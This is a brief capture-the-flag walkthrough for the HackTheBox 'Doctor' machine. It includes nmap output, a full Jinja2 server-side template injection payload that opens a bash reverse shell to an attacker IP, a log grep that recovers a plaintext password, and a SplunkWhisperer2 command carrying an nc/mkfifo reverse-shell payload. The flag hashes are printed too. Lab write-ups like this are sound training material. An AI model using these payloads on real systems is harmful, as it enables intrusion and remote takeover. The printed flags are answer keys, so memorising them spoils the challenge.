[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升

信息收集

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IP Address

Opening Ports

10.10.10.209

TCP:22,80,8089

$ nmap -p- 10.10.10.209 --min-rate 1000 -sC -sV

PORT     STATE SERVICE  VERSION  
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:  
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)  
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)  
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)  
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))  
|_http-title: Doctor  
|_http-server-header: Apache/2.4.41 (Ubuntu)  
8089/tcp open  ssl/http Splunkd httpd  
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser  
| Not valid before: 2020-09-06T15:57:27  
|_Not valid after:  2023-09-06T15:57:27  
| http-robots.txt: 1 disallowed entry  
|_/  
|_http-title: splunkd  
|_http-server-header: Splunkd  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSTI

# echo '10.10.10.209 doctors.htb'>>/etc/hosts

$ whatweb http://doctors.htb/login -v

http://doctors.htb/register

http://doctors.htb/login

http://doctors.htb/post/new

${7*7}

http://doctors.htb/archive

{{8*8}}

{{9*'9'}}

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in  
x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c  
'bash -i >& /dev/tcp/10.10.16.6/10032 0>&1'").read()}}{%endif%}{%endfor%}

http://doctors.htb/archive

User 权限

$ grep -R -e 'password' /var/log/ 2>/dev/null

username:shaun
password:Guitar123

$ su shaun

User.txt

89d2e206dac3a780e4859ba394f419b5

权限提升

$ ps -aux | grep splunk

$ git clone https://github.com/cnotin/SplunkWhisperer2

$ cd SplunkWhisperer2/PySplunkWhisperer2

$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.2 --payload id

$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.16.6 --username shaun --password Guitar123 --payload id

$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.16.6 --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 10033 >/tmp/f'

Root.txt

2f93ef26f3fd15a56c09311850459979

来源：【[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升 - FreeBuf网络安全行业门户】